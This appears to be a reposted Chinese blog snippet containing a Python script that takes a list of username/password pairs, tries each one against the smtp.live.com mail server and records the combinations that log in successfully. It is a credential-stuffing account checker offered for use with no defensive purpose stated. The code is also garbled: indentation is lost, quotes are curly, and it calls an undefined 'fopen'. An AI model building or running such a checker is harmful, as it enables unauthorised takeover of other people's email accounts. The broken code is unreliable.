标签:
#-*- coding:utf-8 -*-
import smtplib
import sys
import time
import threading
class Mythread(threading.Thread):
def __init__(self,username,pwd):
threading.Thread.__init__(self)
self.username=username
self.pwd=pwd
def run(self):
try:
server=‘smtp.live.com‘
fp=fopen(self.username)
fp1=open(self.pwd,‘w‘)
except Exception:
print(‘Files fopen Error‘)
for line in fp.readlines():
lines=line.split(‘ ‘)
uname=lines[0]
password=lines[1]
password=password.split(‘\n‘)[0]
smtp=smtplib.SMTP(server,587)
try:
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
#smtp.login.SSL(uname,password) 启用SSL加上
smtp.login(uname,password)
except Exception:
print(‘[-]:%s : %s‘%(uname,password))
time.sleep(1)
else:
out=‘[+]:%s : %s‘%(uname,password)
print(out)
fp1.write(out)
fp1.flush()
if __name__==‘__main__‘:
Mythread(sys.argv[1],sys.argv[2]).start()
标签:
原文地址:http://www.cnblogs.com/pkmnexp/p/4709364.html